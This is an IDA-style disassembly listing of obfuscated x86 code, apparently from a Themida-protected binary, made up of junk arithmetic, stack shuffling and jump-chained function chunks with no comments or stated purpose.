; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57164A:				; CODE XREF: sub_55EDA7+301Dj
		add	ebp, 4
		push	ebp
		push	[esp+26h+var_22]
		pop	ebp
		pop	[esp+26h+var_26]
		pop	esp
		add	eax, 0A4127DCh
		push	486Eh
		mov	[esp+22h+var_22], edx
		mov	edx, 6DF84C47h
		add	eax, 25223CFDh
		add	eax, edx
		push	esi
		jmp	loc_566E13
; ---------------------------------------------------------------------------


loc_571679:				; CODE XREF: sub_55EDA7+C6D3j
		sub	ebp, 2EAB59F5h
		mov	ebx, [esp+2Eh+var_2E]
		add	esp, 4
		sub	ebp, 716675E0h
		add	ebp, edx
		push	ebx
		mov	ebx, 716675E0h
		jmp	loc_55E297
; ---------------------------------------------------------------------------


loc_571698:				; CODE XREF: sub_55EDA7+849Cj
		xor	eax, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], eax
		xor	eax, [esp-10h+arg_C]
		pop	esp
		jmp	loc_56B15E
; ---------------------------------------------------------------------------


loc_5716A7:				; CODE XREF: sub_55EDA7+3CACj
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5716B3:				; CODE XREF: sub_55EDA7+1254Bj
		mov	esi, esp
		jmp	loc_57150D
; ---------------------------------------------------------------------------


loc_5716BA:				; CODE XREF: sub_55EDA7+681Dj
		push	2935h
		jmp	loc_56F0A6
; ---------------------------------------------------------------------------


loc_5716C4:				; CODE XREF: sub_55EDA7+B76Ej
		push	ebp
		push	77Dh
		mov	[esp-1Ch+arg_18], edi
		push	64784FA5h
		mov	edi, [esp-18h+arg_14]
		add	esp, 4
		sub	edi, 27EB1A84h
		not	edi
		add	edi, 1
		jmp	loc_565AFF
; ---------------------------------------------------------------------------


loc_5716EB:				; CODE XREF: sub_55EDA7+4C2j
		or	bl, ah
		jmp	loc_56AB62
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_5716F2:				; DATA XREF: Themida_:0055DF54o
		mov	ax, [esp]
		jmp	loc_56AC49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5716FB:				; CODE XREF: sub_55EDA7+8172j
		xor	edi, ebx
		xchg	ecx, ebx
		push	ecx
		not	[esp-1Ch+arg_18]
		pop	ecx
		xchg	ecx, ebx
		xor	edi, ebx
		xor	ebx, edi
		jmp	loc_56BB35
; ---------------------------------------------------------------------------


loc_57170F:				; CODE XREF: sub_55EDA7+2DCDj
		xor	bp, 0D415h
		push	ebx
		mov	bx, 4145h
		add	bx, 3F2Bh
		shr	bx, 6
		shl	bx, 7
		push	ax
		mov	ax, 1
		add	bx, ax
		pop	ax
		jmp	loc_572741
; ---------------------------------------------------------------------------


loc_571736:				; CODE XREF: sub_55EDA7+4BC7j
		dec	[esp+3Ch+var_3E+2]
		pop	ebx
		jmp	loc_55EE7C
; ---------------------------------------------------------------------------


loc_57173F:				; CODE XREF: sub_55EDA7+14DBj
		dec	edi
		xor	edi, 1A055032h
		or	edi, 0E164508h
		add	edi, 170B6D9Eh
		inc	edi
		add	edi, 0D5334BB0h
		add	esi, 70B670FAh
		add	esi, edi
		push	eax
		mov	eax, 70B670FAh
		sub	esi, eax
		pop	eax
		pop	edi
		pop	ebx
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		add	esi, eax
		add	esi, 2A496DFBh
		mov	ebx, 3D1361E7h
		shl	ebx, 5
		or	ebx, 540A2AE2h
		push	ebx
		not	[esp+14h+var_16+2]
		jmp	loc_56D9C9
; ---------------------------------------------------------------------------


loc_571791:				; CODE XREF: sub_55EDA7+63CBj
		mov	ebx, esi
		pop	esi
		pop	edx
		xor	ecx, ebx
		pop	ebx
		jmp	loc_565A5F
; ---------------------------------------------------------------------------


loc_57179D:				; CODE XREF: sub_55EDA7+136C6j
		sub	esi, 0E21ECEAAh
		mov	eax, esi
		pop	esi
		push	esi
		mov	esi, 307232Ch
		add	edi, esi
		pop	esi
		jmp	loc_5685F0
; ---------------------------------------------------------------------------


loc_5717B4:				; CODE XREF: sub_55EDA7+4FE9j
		push	edi
		mov	edi, 6E102D14h
		neg	edi
		shr	edi, 6
		jmp	loc_5729A8
; ---------------------------------------------------------------------------


loc_5717C4:				; CODE XREF: sub_55EDA7+131E6j
		sub	edx, 7584A5EAh
		xor	ebx, edx
		pop	edx
		push	258Ah
		mov	[esp+1Eh+var_1E], edx
		mov	edx, 1DD1A15h
		push	edx
		mov	edx, 505576AFh
		jmp	loc_55E800
; ---------------------------------------------------------------------------


loc_5717E5:				; CODE XREF: sub_55EDA7+1355j
		xor	edi, [esp-10h+arg_C]
		jmp	loc_5720C7
; ---------------------------------------------------------------------------


loc_5717ED:				; CODE XREF: sub_55EDA7+8DDj
		add	eax, 4DC3BF4Eh
		sub	ebp, eax
		mov	eax, [esp-0Eh+arg_8+2]
		jmp	loc_56083A
; ---------------------------------------------------------------------------


loc_5717FC:				; CODE XREF: sub_55EDA7+18C3j
		mov	dh, 0DCh
		mov	ch, dh
		pop	edx
		push	edx
		mov	dh, 4Ch
		add	ch, dh
		mov	edx, [esp-6+arg_0+2]
		add	esp, 4
		shr	ch, 6
		jmp	loc_561D66
; ---------------------------------------------------------------------------


loc_571814:				; CODE XREF: sub_55EDA7+11283j
		pop	edi
		jmp	loc_55E575
; ---------------------------------------------------------------------------


loc_57181A:				; CODE XREF: sub_55EDA7+1E4Bj
		pop	esp
		shl	[esp-24h+arg_20], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_571824:				; CODE XREF: sub_55EDA7+2987j
		pop	ecx
		add	edx, ebp
		pop	ebp
		sub	eax, edx
		jmp	loc_55EAD3
; ---------------------------------------------------------------------------


loc_57182F:				; CODE XREF: sub_55EDA7+107FAj
		push	[esp-18h+arg_14]
		jmp	loc_572148
; ---------------------------------------------------------------------------


loc_571837:				; CODE XREF: sub_55EDA7+F9D6j
		push	ecx
		mov	ch, 0FCh
		add	al, ch
		pop	ecx
		jmp	loc_562026
; ---------------------------------------------------------------------------


loc_571842:				; CODE XREF: sub_55EDA7+483Cj
		push	edi
		jmp	loc_570093
; ---------------------------------------------------------------------------


loc_571848:				; CODE XREF: sub_55EDA7+13C9Cj
		mov	edi, 6B914E84h
		neg	edi
		jmp	loc_566C35
; ---------------------------------------------------------------------------


loc_571854:				; CODE XREF: sub_55EDA7+10814j
		mov	ebx, 97C8AC8h
		xor	eax, ebx
		pop	ebx
		add	ebx, 14542001h
		jmp	loc_56A5DC
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_571867:				; DATA XREF: Themida_:0055DFFCo
		mov	cx, [esp]
		jmp	loc_563A2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DB0B


loc_571870:				; CODE XREF: sub_56DB0B-7ECj
		mov	dl, 0E3h
		sub	cl, dl
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_562CE5
; END OF FUNCTION CHUNK	FOR sub_56DB0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571882:				; CODE XREF: sub_55EDA7+9140j
		mov	[esp+2Eh+var_2E], edx
		jmp	loc_56268F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1DEC6EF1h
		and	esi, 1FBF1388h
		jmp	loc_564231
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5718A0:				; CODE XREF: sub_55EDA7+8D66j
		sub	ebx, 1FB02A72h
		add	ebx, eax
		push	edi
		mov	edi, 1FB02A72h
		add	ebx, edi
		pop	edi
		mov	eax, [esp-24h+arg_20]
		add	esp, 4
		jmp	loc_56E9AA
; ---------------------------------------------------------------------------


loc_5718BF:				; CODE XREF: sub_55EDA7+13653j
		mov	esp, [esp-28h+arg_24]
		jmp	loc_56FEF1
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_5718C7:				; CODE XREF: Themida_:005703E1j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5718CC:				; CODE XREF: sub_55EDA7+973Dj
		not	ecx
		or	ecx, 2D1842F3h
		sub	ecx, 2D3A4AEFh
		jmp	loc_5626C6
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5718DF	proc near		; CODE XREF: sub_55EDA7+10B5Fj
		push	ebp
		mov	ebp, esp
		jmp	loc_565815
sub_5718DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EA48


loc_5718E7:				; CODE XREF: sub_56EA48+23j
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		jmp	loc_571A67
; END OF FUNCTION CHUNK	FOR sub_56EA48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5718F2:				; CODE XREF: sub_55EDA7+BB8Dj
		sub	ebx, 6D6E3293h
		jmp	loc_571DD7
; ---------------------------------------------------------------------------


loc_5718FD:				; CODE XREF: sub_55EDA7+E06Fj
		xchg	ebp, [esp+2+var_4+2]
		pop	esp
		add	eax, 2E631A7Bh
		sub	eax, ebx
		sub	eax, 2E631A7Bh
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		xor	ebx, eax
		jmp	sub_56DC33
; ---------------------------------------------------------------------------


loc_57191E:				; CODE XREF: sub_55EDA7+13D05j
		add	bl, dl
		jmp	loc_56AD8A
; ---------------------------------------------------------------------------


loc_571925:				; CODE XREF: sub_55EDA7-47Fj
		mov	esp, [esp-14h+arg_10]
		pop	[esp-14h+arg_10]
		mov	esp, [esp-18h+arg_14]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-14h+arg_10]
		jmp	loc_5647BA
; ---------------------------------------------------------------------------


loc_571945:				; CODE XREF: sub_55EDA7+C22Aj
		mov	[esp-2Ch+arg_28], edi
		mov	edi, 0EEE2D45h
		push	edx
		jmp	loc_5692F1
; ---------------------------------------------------------------------------


loc_571953:				; CODE XREF: sub_55EDA7+6235j
		xchg	eax, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		mov	[esp+24h+var_26+2], ecx
		mov	ecx, 7BB61C05h
		not	ecx
		jmp	loc_561FAA
; ---------------------------------------------------------------------------


loc_571968:				; CODE XREF: sub_55EDA7+6742j
		mov	ah, 30h
		add	ah, 0FFh
		jmp	loc_56C146
; ---------------------------------------------------------------------------


loc_571972:				; CODE XREF: sub_55EDA7+1DCEj
		pop	ebx
		xchg	ecx, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		mov	[esp-1Ch+arg_18], ebx
		jmp	loc_561B95
; ---------------------------------------------------------------------------


loc_571981:				; CODE XREF: sub_55EDA7+B8AFj
		pop	ecx
		add	edi, 128D2654h
		add	edi, esi
		sub	edi, 128D2654h
		push	ecx
		mov	ecx, esp
		jmp	loc_55E740
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_571998	proc near		; CODE XREF: sub_55EDA7+7BD2j
		push	ebp
		jmp	loc_5637D1
sub_571998	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57199E:				; CODE XREF: sub_55EDA7+29F4j
		mov	edi, 557D45DFh
		or	edi, 4A0E00DAh
		push	ebp
		push	edx
		mov	edx, 30917C55h
		jmp	loc_57024E
; ---------------------------------------------------------------------------


loc_5719B5:				; CODE XREF: sub_55EDA7+C8A7j
		xor	esi, eax
		pop	eax
		push	esi
		pop	eax
		pop	esi
		sub	[esp+24h+var_22+2], 455A6F9Dh
		add	[esp+24h+var_22+2], eax
		add	[esp+24h+var_22+2], 455A6F9Dh
		push	[esp+24h+var_26+2]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+28h+var_2A+2]
		pop	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		push	esi
		push	3C082849h
		pop	esi
		sub	esi, 3C082847h
		mov	ecx, esi
		pop	esi
		jmp	loc_572BE2
; ---------------------------------------------------------------------------


loc_571A03:				; CODE XREF: sub_55EDA7+5342j
		push	edi
		mov	edi, 10057A44h
		mov	ebp, 6587A9E6h
		sub	ebp, edi
		pop	edi
		xor	ebx, ebp
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4
		sub	ebx, 5E683806h
		add	ebx, edi
		sub	esp, 4
		mov	[esp-14h+arg_10], edx
		push	1681h
		mov	[esp-10h+arg_C], ebp
		push	69150F65h
		pop	ebp
		mov	edx, 69150F65h
		xor	edx, ebp
		mov	ebp, [esp-10h+arg_C]
		add	esp, 4
		sub	edx, 315655C2h
		sub	edx, 29C13969h
		sub	edx, 63757754h
		add	edx, ebx
		add	edx, 63757754h
		jmp	loc_55F7DE
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EA48


loc_571A67:				; CODE XREF: sub_56EA48+2EA5j
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 1622FD0h
		jmp	loc_56F8BC
; END OF FUNCTION CHUNK	FOR sub_56EA48
; ---------------------------------------------------------------------------


loc_571A75:				; CODE XREF: Themida_:00570364j
		push	31B5h
		mov	[esp], ebp
		push	esp
		jmp	loc_569B49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571A83:				; CODE XREF: sub_55EDA7+1F05j
		mov	[esp-1Ch+arg_18], ebp
		jmp	loc_56B738
; ---------------------------------------------------------------------------


loc_571A8B:				; CODE XREF: sub_55EDA7+8B5Fj
		add	esi, 4
		xchg	esi, [esp-10h+arg_C]
		pop	esp
		xor	al, bl
		mov	ebx, [esp-14h+arg_10]
		jmp	loc_561D7A
; ---------------------------------------------------------------------------


loc_571A9F:				; CODE XREF: sub_55EDA7+9522j
		dec	ecx
		jmp	loc_572B12
; ---------------------------------------------------------------------------


loc_571AA5:				; CODE XREF: sub_55EDA7+2075j
		dec	word ptr [esp-0Ah+arg_4+2]
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_571AAF:				; CODE XREF: sub_55EDA7+C061j
		mov	[esp+1Eh+var_1E], edx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_571AB7:				; CODE XREF: sub_55EDA7+35A2j
		or	eax, 322A4F63h
		sub	eax, 722F7FF0h
		mov	esi, eax
		pop	eax
		jmp	loc_56419E
; ---------------------------------------------------------------------------


loc_571AC9:				; CODE XREF: sub_55EDA7-9B8j
		xor	edi, 318C2642h
		jmp	loc_564305
; ---------------------------------------------------------------------------


loc_571AD4:				; CODE XREF: sub_55EDA7+7CBEj
		pop	esi
		xor	eax, 25862A32h
		not	eax
		add	eax, 0E718BC97h
		add	esi, eax
		pop	eax
		push	esi
		pop	edi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_56402C
; ---------------------------------------------------------------------------


loc_571AF4:				; CODE XREF: sub_55EDA7+10729j
		sub	dh, 75h
		mov	bl, dh
		pop	edx
		jmp	loc_55E8CB
; ---------------------------------------------------------------------------


loc_571AFF:				; CODE XREF: sub_55EDA7+2835j
		add	ebp, edx
		pop	edx
		jmp	loc_57227D
; ---------------------------------------------------------------------------


loc_571B07:				; CODE XREF: sub_55EDA7+B98j
		mov	[esp+44h+var_46+2], ebp
		jmp	loc_564C89
; ---------------------------------------------------------------------------


loc_571B0F:				; CODE XREF: sub_55EDA7+13D4Fj
		pop	edx
		jmp	loc_56C154
; ---------------------------------------------------------------------------


loc_571B15:				; CODE XREF: sub_55EDA7+B0E3j
		pop	eax
		jmp	loc_56982E
; ---------------------------------------------------------------------------


loc_571B1B:				; CODE XREF: sub_55EDA7+6A42j
		sub	eax, 5F6178Bh
		push	eax
		not	dword ptr [esp+0]
		pop	eax
		or	eax, 55AD2672h
		xor	eax, 0CCAF3E2Dh
		jmp	loc_5617DF
; ---------------------------------------------------------------------------


loc_571B34:				; CODE XREF: sub_55EDA7+5A77j
		inc	edx
		xor	edx, 20A36432h
		sub	ebx, 6FD61E9Bh
		sub	ebx, edx
		add	ebx, 6FD61E9Bh
		pop	edx
		jmp	loc_55E7D9
; ---------------------------------------------------------------------------


loc_571B4F:				; CODE XREF: sub_55EDA7+2BA5j
		mov	eax, 5B80575Eh
		sub	eax, ecx
		jmp	loc_57135F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F632


loc_571B5B:				; CODE XREF: sub_56F632-C3Dj
		pop	ebp
		xchg	edi, [esp-4+arg_0]
		pop	esp
		sub	al, cl
		jmp	loc_56BFAC
; END OF FUNCTION CHUNK	FOR sub_56F632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571B67:				; CODE XREF: sub_55EDA7+6A8Bj
		push	0CE2h
		jmp	loc_56705E
; ---------------------------------------------------------------------------


loc_571B71:				; CODE XREF: sub_55EDA7+C1AFj
		add	edx, ecx
		pop	ecx
		sub	ebp, 2B643411h
		push	edi
		mov	edi, 66930275h
		add	ebp, edi
		pop	edi
		add	ebp, edx
		push	edi
		mov	edi, 66930275h
		sub	ebp, edi
		pop	edi
		push	ecx
		jmp	loc_56B707
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E217


loc_571B94:				; CODE XREF: sub_55E217+13j
		add	edi, ebx
		sub	edi, 36D023B7h
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_55F07F
; END OF FUNCTION CHUNK	FOR sub_55E217
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571BAA:				; CODE XREF: sub_55EDA7+1116Bj
		xor	edx, [esp-2Ch+arg_28]
		xor	[esp-2Ch+arg_28], edx
		xor	edx, [esp-2Ch+arg_28]
		pop	esp
		mov	[esp-30h+arg_2C], eax
		push	2
		pop	eax
		add	edx, eax
		jmp	loc_566D1E
; ---------------------------------------------------------------------------


loc_571BC4:				; CODE XREF: sub_55EDA7+5FF2j
		push	esp
		pop	edi
		push	ebx
		push	ecx
		mov	ecx, 0F067DADh
		shr	ecx, 8
		jmp	loc_565ED4
; ---------------------------------------------------------------------------


loc_571BD5:				; CODE XREF: sub_55EDA7+60FDj
		mov	[esp+28h+var_2A+2], ebx
		push	[esp+28h+var_26+2]
		pop	ebx
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		mov	word ptr [esp+24h+var_26+2], di
		not	word ptr [esp+24h+var_26+2]
		mov	di, word ptr [esp+24h+var_26+2]
		jmp	loc_55FCA3
; ---------------------------------------------------------------------------


loc_571BF4:				; CODE XREF: sub_55EDA7+35CDj
		push	esi
		push	esp
		pop	esi
		push	2EACh
		mov	[esp-0Ah+arg_4+2], eax
		mov	eax, 4
		add	esi, eax
		push	[esp-0Ah+arg_4+2]
		pop	eax
		push	643h
		mov	[esp-6+arg_0+2], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_568B33
; ---------------------------------------------------------------------------


loc_571C1F:				; CODE XREF: sub_55EDA7+DF4Aj
		or	edx, 6BEA398Bh
		add	edx, 82C4C8EEh
		add	eax, edx
		pop	edx
		jmp	loc_561EC8
; ---------------------------------------------------------------------------


loc_571C33:				; CODE XREF: sub_55EDA7+1140Cj
		mov	esp, [esp-4+arg_0]
		push	edi
		mov	edi, 21AFF041h
		xor	edx, edi
		mov	edi, [esp+0]
		add	esp, 4
		add	eax, 56D918E8h
		sub	eax, 183D7B70h
		jmp	loc_5680AB
; ---------------------------------------------------------------------------


loc_571C53:				; CODE XREF: sub_55EDA7+A4A4j
		mov	eax, ebx
		jmp	loc_56C387
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_571C5A:				; CODE XREF: Themida_:00572AC6j
		pop	ecx
		push	eax
		mov	eax, 4
		push	ebx
		mov	ebx, 2BD74567h
		shl	ebx, 5
		neg	ebx
		sub	ebx, 48CF4DB9h
		jmp	loc_565751
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571C77:				; CODE XREF: sub_55EDA7+30E1j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		add	esp, 4
		push	ebp
		push	48h
		mov	[esp+0], edx
		push	72361755h
		pop	edx
		shr	edx, 5
		sub	edx, 0AE358E2h
		jmp	loc_566ECD
; ---------------------------------------------------------------------------


loc_571CAD:				; CODE XREF: sub_55EDA7+8600j
		pop	ebp
		pop	esi
		add	eax, 22056581h
		jmp	loc_561EA3
; ---------------------------------------------------------------------------


loc_571CB9:				; CODE XREF: sub_55EDA7+11959j
		xor	edi, ecx
		xor	ecx, edi
		not	edi
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		xor	[esp+3Ch+var_3E+2], ecx
		xor	ecx, [esp+3Ch+var_3E+2]
		xor	[esp+3Ch+var_3E+2], ecx
		push	[esp+3Ch+var_3E+2]
		pop	eax
		push	5B3h
		mov	[esp+40h+var_42+2], ecx
		jmp	sub_55E312
; ---------------------------------------------------------------------------


loc_571CDF:				; CODE XREF: sub_55EDA7+6CFDj
		mov	[esp+1Eh+var_1E], ebp
		jmp	loc_56347F
; ---------------------------------------------------------------------------


loc_571CE7:				; CODE XREF: sub_55EDA7+E239j
		mov	[esp+20h+var_22+2], esp
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebp
		mov	ebp, 4
		add	[esp+24h+var_22+2], ebp
		jmp	loc_5698A9
; ---------------------------------------------------------------------------


loc_571D01:				; CODE XREF: sub_55EDA7+6B1Ej
		add	esp, 4
		push	55C4h
		mov	[esp-4+arg_0], ebx
		push	[esp-4+arg_4]
		jmp	loc_5714B2
; ---------------------------------------------------------------------------


loc_571D15:				; CODE XREF: sub_55EDA7+FE1Bj
		add	ebp, eax
		pop	eax
		jmp	loc_572332
; ---------------------------------------------------------------------------


loc_571D1D:				; CODE XREF: sub_55EDA7+11998j
		pop	esp
		jmp	sub_55E217
; ---------------------------------------------------------------------------


loc_571D23:				; CODE XREF: sub_55EDA7+4E75j
		pop	ebp
		add	edx, 0F144720h
		sub	edx, 21639F9Bh
		mov	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		jmp	loc_56B8D5
; ---------------------------------------------------------------------------


loc_571D3B:				; CODE XREF: sub_55EDA7+4D8Aj
		xor	ecx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		push	ebp
		push	297Eh
		mov	[esp+2Ah+var_2A], ebx
		push	eax
		mov	eax, 23A700E7h
		push	esi
		jmp	loc_565B3D
; ---------------------------------------------------------------------------


loc_571D56:				; CODE XREF: sub_55EDA7+EBC3j
		sub	ebx, 24BC77C6h
		add	eax, ebx
		pop	ebx
		push	9AFh
		mov	[esp+0Ch+var_E+2], ebp
		mov	ebp, 2C6A630Bh
		and	ebp, 3589242Fh
		dec	ebp
		jmp	loc_570D6D
; ---------------------------------------------------------------------------


loc_571D78:				; CODE XREF: sub_55EDA7+1378Aj
		mov	esp, [esp+0Ch+var_E+2]
		add	esi, 7F407688h
		jmp	loc_56254C
; ---------------------------------------------------------------------------


loc_571D86:				; CODE XREF: sub_55EDA7+D0AFj
		add	edi, edx
		push	edx
		mov	edx, 282F6DD7h
		sub	edx, 4C870A77h
		jmp	loc_562315
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_565AA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571DAF:				; CODE XREF: sub_55EDA7+3BFCj
		xchg	eax, [esp-24h+arg_20]
		pop	esp
		add	edx, ebx
		push	[esp-28h+arg_24]
		jmp	loc_56478F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E91D


loc_571DBD:				; CODE XREF: sub_56E91D-1D48j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56D2DF
; END OF FUNCTION CHUNK	FOR sub_56E91D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571DCB:				; CODE XREF: sub_55EDA7+4E13j
		mov	[esp-2Ch+arg_28], edx
		mov	dh, 0C0h
		add	al, dh
		jmp	loc_56E06C
; ---------------------------------------------------------------------------


loc_571DD7:				; CODE XREF: sub_55EDA7+12B51j
		push	eax
		mov	eax, 0E1C5C139h
		sub	ebx, eax
		pop	eax
		jmp	loc_56E8AA
; ---------------------------------------------------------------------------


loc_571DE5:				; CODE XREF: sub_55EDA7+65A8j
		mov	edx, 4
		add	ebp, edx
		jmp	loc_56308A
; ---------------------------------------------------------------------------


loc_571DF1:				; CODE XREF: sub_55EDA7+F38Fj
		mov	edi, 435B6A32h
		sub	edi, 4AC553Bh
		mov	ebp, edi
		pop	edi
		mov	edx, 2F623740h
		xor	edx, ebp
		mov	ebp, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	3BC5h
		mov	[esp+2Ch+var_2E+2], esi
		jmp	loc_572A7A
; ---------------------------------------------------------------------------


loc_571E1C:				; CODE XREF: sub_55EDA7+13995j
		mov	eax, [esp+2Ch+var_2E+2]
		push	6707h
		mov	[esp+30h+var_32+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55F4A8
; ---------------------------------------------------------------------------


loc_571E37:				; CODE XREF: sub_55EDA7+6EFDj
		push	ecx
		mov	ch, 0C5h
		inc	ch
		jmp	loc_5603F5
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E1D9


loc_571E41:				; CODE XREF: sub_56E1D9+2Aj
		push	6751465Dh
		pop	edi
		push	esi
		mov	esi, 279D4129h
		push	ebp
		mov	ebp, 70553EF0h
		xor	ebp, 66E05BB4h
		sub	ebp, 0FE093E94h
		add	esi, ebp
		pop	ebp
		neg	esi
		jmp	loc_560A59
; END OF FUNCTION CHUNK	FOR sub_56E1D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571E69:				; CODE XREF: sub_55EDA7+411Dj
		or	ebp, edx
		mov	edx, [esp+0]
		jmp	loc_5619DB
; ---------------------------------------------------------------------------


loc_571E73:				; CODE XREF: sub_55EDA7+F110j
		push	[esp+1Ch+var_1E+2]
		pop	ebp
		add	esp, 4
		push	ecx
		mov	ecx, 22003752h
		sub	ecx, 0AFA4F731h
		add	esi, 70AD1F3Ch
		sub	esi, ecx
		jmp	loc_563217
; ---------------------------------------------------------------------------


loc_571E93:				; CODE XREF: sub_55EDA7+7EEDj
		push	5387h
		jmp	loc_55F1D5
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_571E9D	proc near		; CODE XREF: sub_55EDA7+F3F3j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	edi
		push	ecx
		mov	ecx, 72454E6Ah
		jmp	loc_565EEF
sub_571E9D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571EB2:				; CODE XREF: sub_55EDA7+D46Cj
		push	edx
		mov	edx, 4
		add	edi, 1A7A52ADh
		jmp	loc_56FE0F
; ---------------------------------------------------------------------------


loc_571EC3:				; CODE XREF: sub_55EDA7+621Bj
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	[esp-4+arg_4]
		jmp	loc_56B83A
; ---------------------------------------------------------------------------


loc_571ED0:				; CODE XREF: sub_55EDA7+123B1j
		push	74E3h
		mov	[esp-0Ah+arg_4+2], esi
		push	edi
		push	0A744E61h
		mov	edi, [esp+0]
		add	esp, 4
		sub	edi, 2E90331Bh
		xor	edi, 9CE3BC5h
		jmp	loc_570A39
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_571EF5:				; DATA XREF: Themida_:0055DF68o
		lodsb
		xor	al, bl
		push	dx
		push	ecx
		jmp	loc_56EAC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571F00:				; CODE XREF: sub_55EDA7+11E5Ej
		mov	esp, [esp-2Ch+arg_28]
		push	22ECh
		mov	[esp-28h+arg_24], ecx
		push	[esp-28h+arg_28]
		mov	ecx, [esp-24h+arg_20]
		add	esp, 4
		pop	[esp-28h+arg_24]
		mov	esp, [esp-2Ch+arg_28]
		cmp	ecx, eax
		pushf
		jmp	loc_566F79
; ---------------------------------------------------------------------------


loc_571F23:				; CODE XREF: sub_55EDA7+C7CDj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_566956
; ---------------------------------------------------------------------------


loc_571F30:				; CODE XREF: sub_55EDA7+EE02j
		mov	[esp-1Ch+arg_18], edi
		xor	[esp-1Ch+arg_18], ebx
		xor	ebx, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], ebx
		not	ebx
		xchg	ebx, [esp-1Ch+arg_18]
		mov	edi, [esp-1Ch+arg_18]
		sub	esp, 4
